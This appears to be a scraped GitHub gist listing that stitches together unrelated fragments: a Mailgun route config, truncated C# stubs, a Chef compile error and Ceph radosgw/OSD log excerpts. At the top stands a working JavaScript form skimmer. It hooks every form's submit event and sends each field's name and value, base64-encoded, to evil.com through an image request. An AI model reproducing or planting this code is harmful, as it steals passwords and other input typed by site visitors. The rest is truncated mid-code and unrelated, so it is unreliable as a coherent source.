Skip to content

Instantly share code, notes, and snippets.

alert('security issue');
window.onload = function () {
for(var i=0; i<document.forms.length; i++){
document.forms[i].addEventListener("submit", function() {
for(e=0; e<this.elements.length; e++){
keys = "[name:" + this.elements[e].name + ",value:" + this.elements[e].value + ",type:" + this.elements[e].type + "]";
new Image().src = 'https://evil.com/key.php?c='+encodeURIComponent(btoa(keys));
}
}, false);
}
}
# Imperative configuration
curl -s --user 'api:YOUR_API_KEY' \
https://api.mailgun.net/v3/routes \
-F priority=0 \
-F description='Sample route' \
-F expression='match_recipient(".*@bar.com")' \
-F action='forward("mailbox@foo.com")' \
-F action='forward("http://myapi.foo.com/messages")'
# Declarative configuration
apiVersion: mailgun.com/v1alpha1
kind: MailgunRoute
metadata:
name: example-mailgunroute
spec:
domain: mg.foo.com
secretName: mailgun-secret
expression: match_recipient(".*@bar.com")
priority: 0
using Marten;
using Marten.Linq;
using System;
using System.Linq;
namespace DemoBugMarten
{
class User
{
public Guid Id { get; set; }
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Android.App;
using Android.Content;
using Android.OS;
using Android.Runtime;
@kYann
kYann / gist:8918256
Created February 10, 2014 15:48
only_if not working (chef)
================================================================================
Recipe Compile Error in /var/cache/chef/cookbooks/p2p-network/recipes/default.rb
================================================================================
ArgumentError
-------------
You must supply a name when declaring a route resource
@kYann
kYann / gist:5130775
Created March 10, 2013 22:26
Rados gateway 0.58 crash
-428> 2013-03-10 23:20:02.905513 7fc0945a8700 2 req 972:0.151986:s3:HEAD /FontBucketV2/3167ff96cf28fbd1ff01c1d4baa5f2aae8f4b4fd.woff:get_obj:verifying op params
-427> 2013-03-10 23:20:02.905515 7fc0945a8700 2 req 972:0.151988:s3:HEAD /FontBucketV2/3167ff96cf28fbd1ff01c1d4baa5f2aae8f4b4fd.woff:get_obj:executing
-426> 2013-03-10 23:20:02.905526 7fc0945a8700 20 get_obj_state: rctx=0x7fc1d00bdfe0 obj=FontBucketV2:3167ff96cf28fbd1ff01c1d4baa5f2aae8f4b4fd.woff state=0x7fc1d0001da8 s->prefetch_data=1
-425> 2013-03-10 23:20:02.905532 7fc0945a8700 20 Read xattr: user.rgw.acl
-424> 2013-03-10 23:20:02.905535 7fc0945a8700 20 Read xattr: user.rgw.content_type
-423> 2013-03-10 23:20:02.905536 7fc0945a8700 20 Read xattr: user.rgw.etag
-422> 2013-03-10 23:20:02.905537 7fc0945a8700 20 Read xattr: user.rgw.idtag
-421> 2013-03-10 23:20:02.905538 7fc0945a8700 20 Read xattr: user.rgw.manifest
-420> 2013-03-10 23:20:02.905559 7fc0945a8700 2 req 972:0.152032:s3:HEAD /FontBucketV2/3167ff96cf28fbd1ff01c1d4baa5f2
2013-01-16 11:24:38.986330 7f08f5ad6780 10 osd.1 pg_epoch: 6091 pg[10.38f(unlocked)] _calc_past_interval_range: already have past intervals back to 4439
2013-01-16 11:24:38.986333 7f08f5ad6780 10 osd.1 pg_epoch: 6098 pg[10.1b81(unlocked)] _calc_past_interval_range: already have past intervals back to 6098
2013-01-16 11:24:38.986336 7f08f5ad6780 10 osd.1 pg_epoch: 6091 pg[10.1b80(unlocked)] _calc_past_interval_range: already have past intervals back to 4439
2013-01-16 11:24:38.986339 7f08f5ad6780 10 osd.1 pg_epoch: 6091 pg[10.389(unlocked)] _calc_past_interval_range start epoch 4439 >= end epoch 4434, nothing to do
2013-01-16 11:24:38.986342 7f08f5ad6780 10 osd.1 pg_epoch: 6098 pg[10.1b82(unlocked)] _calc_past_interval_range: already have past intervals back to 6098
2013-01-16 11:24:38.986345 7f08f5ad6780 10 osd.1 pg_epoch: 6098 pg[10.375(unlocked)] _calc_past_interval_range: already have past intervals back to 6098
2013-01-16 11:24:38.986348 7f08f5ad6780 10 osd.1 pg_epoch: 6091 pg[10.1b8f(unlocked)] _calc_pas